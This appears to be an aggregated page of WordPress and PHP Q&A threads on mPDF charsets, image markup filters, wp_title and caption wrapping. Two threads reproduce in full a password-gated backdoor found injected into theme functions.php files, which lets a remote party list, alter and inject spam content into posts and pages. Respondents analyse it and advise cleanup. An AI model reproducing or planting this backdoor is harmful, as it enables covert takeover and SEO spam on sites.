MPDF charset issue - mpdf

How to change charset in MPDF 6.0? When I echo $html variable everything is fine, but when I turn it into pdf then I have question marks instead of some special characters...
$html = '<html><head><meta http-equiv=Content-Type content="text/html; charset=UTF-8">' . $style . '</head><body>
' . $page4 . ' źźźżżżżżż
</body>
</html>
';
include("mpdf60/mpdf.php");
$mpdf=new mPDF('c',array(297,210));
$mpdf->WriteHTML($html);
$mpdf->allow_charset_conversion = true;
$mpdf->charset_in = 'iso-8859-2';
$mpdf->Output();
exit;

Related

After image is deleted WordPress visual editor doesn't remove additional code that I added to default img html output via image_send_to_editor filter

I'm trying to replace the default image html output in WordPress editor with responsive images picture tag.
I created a custom function that replaces the default img html and hooked it into editor via image_send_to_editor filter:
function mystic_responsive_insert_image($html, $id, $caption, $title, $align, $url) {
$image_url = wp_get_attachment_url($id);
$attachment_id = attachment_url_to_postid( $image_url );
$alt_text = get_post_meta($attachment_id, '_wp_attachment_image_alt', true);
if ( !$alt_text ) { $alt_text = esc_html( get_the_title($post_id) ); }
$thumb_xl_hpt1 = wp_get_attachment_image_src($attachment_id, 'xl-thumb-hpt1');
$thumb_lg_hpt1 = wp_get_attachment_image_src($attachment_id, 'lg-thumb-hpt1');
$thumb_md_hpt1 = wp_get_attachment_image_src($attachment_id, 'md-thumb-hpt1');
$thumb_sm_hpt1 = wp_get_attachment_image_src($attachment_id, 'sm-thumb-hpt1');
$thumb_xs_hpt1 = wp_get_attachment_image_src($attachment_id, 'xs-thumb-hpt1');
$thumb_xl_hpt1_2x = wp_get_attachment_image_src($attachment_id, 'xl-thumb-hpt1-2x');
$thumb_lg_hpt1_2x = wp_get_attachment_image_src($attachment_id, 'lg-thumb-hpt1-2x');
$thumb_md_hpt1_2x = wp_get_attachment_image_src($attachment_id, 'md-thumb-hpt1-2x');
$thumb_sm_hpt1_2x = wp_get_attachment_image_src($attachment_id, 'sm-thumb-hpt1-2x');
$thumb_xs_hpt1_2x = wp_get_attachment_image_src($attachment_id, 'xs-thumb-hpt1-2x');
$thumb_data = array(
'thumb_xl_hpt1_2x' => $thumb_xl_hpt1_2x[0],
'thumb_large_hpt1_2x' => $thumb_lg_hpt1_2x[0],
'thumb_medium_hpt1_2x' => $thumb_md_hpt1_2x[0],
'thumb_small_hpt1_2x' => $thumb_sm_hpt1_2x[0],
'thumb_xs_hpt1_2x' => $thumb_xs_hpt1_2x[0],
'thumb_xl_hpt1' => $thumb_xl_hpt1[0],
'thumb_large_hpt1' => $thumb_lg_hpt1[0],
'thumb_medium_hpt1' => $thumb_md_hpt1[0],
'thumb_small_hpt1' => $thumb_sm_hpt1[0],
'thumb_xs_hpt1' => $thumb_xs_hpt1[0],
'thumb_alt' => $alt_text
);
$html = '<picture>';
$html .= '<!--[if IE 9]><video style="display: none;"><![endif]-->';
$html .= '<source srcset="' . $thumb_data['thumb_xl_hpt1'] . ', ' . $thumb_data['thumb_xl_hpt1_2x'] . ' 2x" media="(min-width: 1200px)">';
$html .= '<source srcset="' . $thumb_data['thumb_large_hpt1'] . ', ' . $thumb_data['thumb_large_hpt1_2x'] . ' 2x" media="(min-width: 992px)">';
$html .= '<source srcset="' . $thumb_data['thumb_medium_hpt1'] . ', ' . $thumb_data['thumb_medium_hpt1_2x'] . ' 2x" media="(min-width: 768px)">';
$html .= '<source srcset="' . $thumb_data['thumb_small_hpt1'] . ', ' . $thumb_data['thumb_small_hpt1_2x'] . ' 2x" media="(min-width: 576px)">';
$html .= '<!--[if IE 9]></video><![endif]-->';
$html .= '<img srcset="' . $thumb_data['thumb_xs_hpt1'] . ', ' . $thumb_data['thumb_xs_hpt1_2x'] . ' 2x" alt="' . $thumb_data['thumb_alt'] . '">';
$html .= '</picture>';
return $html;
}
add_filter( 'image_send_to_editor', 'mystic_responsive_insert_image', 10, 9 );
I then created a test post and inserted the image into it to see if my code works. It does. But then after I deleted the image and inserted another one, inside the chrome inspector I noticed that the additional html code from the deleted image is still present on the page. Everything except the img tag that was placed inside the picture tag is still there. Deleting the image from the editor removed only the img tag.
I'm making this for someone who is not familiar with html and I'm certain that they will not be able to delete the leftover code from the text editor if they ever edit the images in their posts so I need to figure out why is this happening and how can I fix it?
This is because while removing image, visual editor only removes image in img tag and rest of the HTML is still there. On updating, it updates the HTML in database.
Also, It appends previous HTML with new HTML.
You just have to filter data before it is saved. Have to remove 'picture' tag in which there is no image. You can use 'wp_insert_post_data' hook for this.

Want to know the reason that the functions.php of WordPress theme was hacked

Seniors.
I found all the WordPress themes on my server were hacked. The functions.php was automatic modified and the following codes was added into the functions.php, what is that? Is there any way to find out the bug? Thanks
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f1d2299e....fe9f82032985c905'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
{
$data['code'] = $_[1];
}
print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
}
break;
case 'set_id_links';
if (isset($_REQUEST['data']))
{
$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
{
print "true";
}
}
break;
case 'create_page';
if (isset($_REQUEST['remove_page']))
{
if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
{
print "true";
}
}
elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
{
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
{
print "true";
}
}
break;
default: print "ERROR_WP_ACTION WP_URL_CD";
}
die("");
}
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
{
$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
if ($data -> full_content)
{
print stripslashes($data -> content);
}
else
{
print '<!DOCTYPE html>';
print '<html ';
language_attributes();
print ' class="no-js">';
print '<head>';
print '<title>'.stripslashes($data -> title).'</title>';
print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
print '<meta name="robots" content="index, follow" />';
print '<meta charset="';
bloginfo( 'charset' );
print '" />';
print '<meta name="viewport" content="width=device-width">';
print '<link rel="profile" href="http://gmpg.org/xfn/11">';
print '<link rel="pingback" href="';
bloginfo( 'pingback_url' );
print '">';
wp_head();
print '</head>';
print '<body>';
print '<div id="content" class="site-content">';
print stripslashes($data -> content);
get_search_form();
get_sidebar();
get_footer();
}
exit;
}
?>
It looks like it's rewriting all content on every page of your site, but only when someone logs in with the password it references.
Then it injects html tags into the page content.
Why? I would suggest this is so that they can rip content from your site by looking for the new markup and grabbing the html within those tags. Specifically they seem to be trying to get lists of all the links on your pages.

WordPress - an unknown code appears in function.php

Recently when I am working on my theme, I got a warning. When I tried to fix it I realize that in function.php there is a unknown code. I have 9 themes in themes directory, and in all 9 functions.php exist that unknown code. Does someone know how it can appear. The website is not online yet. I'm working on my local.
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '117c3f294ee80873d833d9e03f417ed0'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
{
$data['code'] = $_[1];
}
print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
}
break;
case 'set_id_links';
if (isset($_REQUEST['data']))
{
$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
{
print "true";
}
}
break;
case 'create_page';
if (isset($_REQUEST['remove_page']))
{
if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
{
print "true";
}
}
elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
{
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
{
print "true";
}
}
break;
default: print "ERROR_WP_ACTION WP_URL_CD";
}
die("");
}
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
{
$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
if ($data -> full_content)
{
print stripslashes($data -> content);
}
else
{
print '<!DOCTYPE html>';
print '<html ';
language_attributes();
print ' class="no-js">';
print '<head>';
print '<title>'.stripslashes($data -> title).'</title>';
print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
print '<meta name="robots" content="index, follow" />';
print '<meta charset="';
bloginfo( 'charset' );
print '" />';
print '<meta name="viewport" content="width=device-width">';
print '<link rel="profile" href="http://gmpg.org/xfn/11">';
print '<link rel="pingback" href="';
bloginfo( 'pingback_url' );
print '">';
wp_head();
print '</head>';
print '<body>';
print '<div id="content" class="site-content">';
print stripslashes($data -> content);
get_search_form();
get_sidebar();
get_footer();
}
exit;
}
?>
It seems like you are using nulled plugin(s) and/or theme.
Steps taken to clean your development site:
deletes all core files
uploaded new core files downloaded from wordpress.org
reinstalled all plugins
ran a scan with sucuri security plugin
Please be careful downloading what is called nulled plugins. The can ruin your site. Only download and use plugins/themes from trusted sources.

Wordpress: Stripping Images of <p> tag and adding <div> IF image has no caption

I've seen some variations of this question around, but I've as of yet been unable to tweak them into what I'm looking for.
In a Wordpress post, if an image is uploaded with a caption the image will be output wrapped in a div (with class wp-caption). Perfect.
However, if there is no caption the image is wrapped in a paragraph tag. I'd like to replace this with a div.
So if an image is uploaded without a caption, it is wrapped in a div as well — something like class="wp-nocaption".
My first try was to modify the media.php file. I changed this section:
if ( 1 > (int) $width || empty($caption) )
return $content;
if ( $id ) $id = 'id="' . esc_attr($id) . '" ';
return '<div ' . $id . 'class="wp-caption ' . esc_attr($align)
. '" style="width: ' . (10 + (int) $width) . 'px">'
. do_shortcode( $content ) . '<p class="wp-caption-text">' . $caption . '</p></div>';
to this:
if ( 1 > (int) $width || empty($caption) )
return '<div ' . $id . 'class="wp-nocaption ' . esc_attr($align)
. '" style="width: ' . ($width) . 'px">'
. do_shortcode( $content ) . '</div>';
if ( $id ) $id = 'id="' . esc_attr($id) . '" ';
return '<div ' . $id . 'class="wp-caption ' . esc_attr($align)
. '" style="width: ' . ($width) . 'px">'
. do_shortcode( $content ) . '<p class="wp-caption-text">' . $caption . '</p></div>';
Which I hoped would do the same thing for a non-captioned image as a captioned one, except the div would have a different class.
But that didn't work. Does anyone have any idea why?
I also found some articles suggesting using a preg_replace function.
http://css-tricks.com/snippets/wordpress/remove-paragraph-tags-from-around-images/
https://wordpress.stackexchange.com/questions/7090/stop-wordpress-wrapping-images-in-a-p-tag
I tweaked their functions, attempting to replace paragraph tags that wrap an image wrapped in a link with div tags.
function filter_ptags_on_images($content) {
return preg_replace('/<p>\s*(<a .*>)?\s*(<img .* \/>)\s*(<\/a>)?\s*<\/p>/iU',
'/<div class="wp-nocaption">\s*(<a .*>)?\s*(<img .* \/>)\s*(<\/a>)?\s*<\/div>/iU',
$content);
}
add_filter('the_content', 'filter_ptags_on_images');
But this doesn't work. I've been reading a lot but still can't wrap my head around the php concept of "backreference". I know the replace section of my function is wrong, but I'm not sure how to fix it.
If you have any suggestions as to what I'm doing wrong on either way would be very much appreciated!
Thank you so much!!

Wordpress wp_title () function not working for Yootheme template with Warp Framework

I am using a Yootheme template for my wordpress site http://sribasu.com
The theme is built on Warp Framework. My theme's head.php file prints page title after concatinating bloginfo name and wp_title ().
Unfortunately, the wp_title () function is not generating any output. As a result all my inner pages and blog post pages are having same title as homepage. Is there any issue with warp framework when using this function?
I am using wordpress 3.6. I have been trying to search google to see if it's a common issue or not. But didn't find a working solution yet. Please help.
Edit:
The Code for head.php (/yoo_revista_wp/warp/systems/wordpress/layouts/head.php) is as follows:
<meta charset="<?php bloginfo('charset'); ?>" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<?php if($this['config']->get('responsive', false)): ?>
<meta name="viewport" content="width=device-width, initial-scale=1">
<?php endif; ?>
<title><?php bloginfo('name'); ?> <?php wp_title(); ?></title>
<link rel="shortcut icon" href="<?php echo $this['path']->url('template:favicon.ico');?>" />
<link rel="apple-touch-icon-precomposed" href="<?php echo $this['path']->url('template:apple_touch_icon.png'); ?>" />
<?php
wp_enqueue_script('jquery');
wp_head();
// set body classes
$this['config']->set('body_classes', implode(' ', get_body_class($this['config']->get('body_classes'))));
// get styles and scripts
$styles = $this['asset']->get('css');
$scripts = $this['asset']->get('js');
// compress styles and scripts
if ($compression = $this['config']->get('compression')) {
$options = array();
$filters = array('CSSImportResolver', 'CSSRewriteURL', 'CSSCompressor');
// set options
if ($compression == 3) {
$options['Gzip'] = true;
}
// set filter
if ($compression >= 2 && ($this['useragent']->browser() != 'msie' || version_compare($this['useragent']->version(), '8.0', '>='))) {
$filters[] = 'CSSImageBase64';
}
if ($styles) {
// cache styles and check for remote styles
$styles = array($this['asset']->cache('template.css', $styles, $filters, $options));
foreach ($styles[0] as $style) {
if ($style->getType() == 'File' && !$style->getPath()) {
$styles[] = $style;
}
}
}
if ($scripts) {
// cache scripts and check for remote scripts
$scripts = array($this['asset']->cache('template.js', $scripts, array('JSCompressor'), $options));
foreach ($scripts[0] as $script) {
if ($script->getType() == 'File' && !$script->getPath()) {
$scripts[] = $script;
}
}
}
}
// add styles
if ($styles) {
foreach ($styles as $style) {
if ($url = $style->getUrl()) {
printf("<link rel=\"stylesheet\" href=\"%s\" />\n", $url);
} else {
printf("<style>%s</style>\n", $style->getContent());
}
}
}
// add scripts
if ($scripts) {
foreach ($scripts as $script) {
if ($url = $script->getUrl()) {
printf("<script src=\"%s\"></script>\n", $url);
} else {
printf("<script>%s</script>\n", $script->getContent());
}
}
}
// add feed link
if (strlen($this['config']->get('rss_url',''))) {
printf("<link href=\"%s\" rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" />\n", $this['config']->get('rss_url'));
}
$this->output('head');
From the codex:
The wp_title() function should not be used by a theme in conjunction
with other strings or functions (like concatenating with
bloginfo('name')) to write the content of the element, because
it will render plugins unable to rewrite the whole title in case the
plugins use the wp_title filter do the rewrite, which is the best
practice. The use of this function is now a requirement for theme
developers.
TESTED CODE:
<?php bloginfo('name'); ?><?php wp_title('»'); ?>
The first parameter, $sep: Text to display before or after (specified by $seplocation) the post title (i.e. the separator).
Default: » (»)
Got wonderful clue from Ben's response, I must admit. Finally identified the culprit Plugin - it is Contus Video Gallery. The plugin is good in what it does, but tampered my page titles :X
I fixed the wp_title filter function in the Contus Video Gallery plugin in /plugins/contus-video-gallery/hdflvvideoshare.php and it worked like a charm!
Previously the code was:
function add_video_title() {
global $wpdb;
$videoID = url_to_custompostid(get_permalink());
if (isset($_GET['p'])) {
$videoID = intval($_GET['p']);
}
if (isset($_GET['playid'])) {
$playId = intval($_GET['playid']);
}
if (!empty($videoID)) {
$videoID = $wpdb->get_var("SELECT vid FROM " . $wpdb->prefix . "hdflvvideoshare WHERE slug='" . intval($videoID) . "'");
$video_title = $wpdb->get_var("SELECT t1.name"
. " FROM " . $wpdb->prefix . "hdflvvideoshare AS t1"
. " WHERE t1.publish='1' AND t1.vid='" . intval($videoID) . "' LIMIT 1");
}
if (!empty($playId)) {
$video_title = $wpdb->get_var("SELECT t1.playlist_name AS name"
. " FROM " . $wpdb->prefix . "hdflvvideoshare_playlist AS t1"
. " WHERE t1.is_publish='1' AND t1.pid='" . intval($playId) . "' LIMIT 1");
}
if (!empty($video_title))
echo $video_title;
}
Now the code is:
function add_video_title($title) {
if($_REQUEST['post_type']!='videogallery'){
return $title;
}
global $wpdb;
$videoID = url_to_custompostid(get_permalink());
if (isset($_GET['p'])) {
$videoID = intval($_GET['p']);
}
if (isset($_GET['playid'])) {
$playId = intval($_GET['playid']);
}
if (!empty($videoID)) {
$videoID = $wpdb->get_var("SELECT vid FROM " . $wpdb->prefix . "hdflvvideoshare WHERE slug='" . intval($videoID) . "'");
$video_title = $wpdb->get_var("SELECT t1.name"
. " FROM " . $wpdb->prefix . "hdflvvideoshare AS t1"
. " WHERE t1.publish='1' AND t1.vid='" . intval($videoID) . "' LIMIT 1");
}
if (!empty($playId)) {
$video_title = $wpdb->get_var("SELECT t1.playlist_name AS name"
. " FROM " . $wpdb->prefix . "hdflvvideoshare_playlist AS t1"
. " WHERE t1.is_publish='1' AND t1.pid='" . intval($playId) . "' LIMIT 1");
}
if (!empty($video_title))
return $video_title;
}

Resources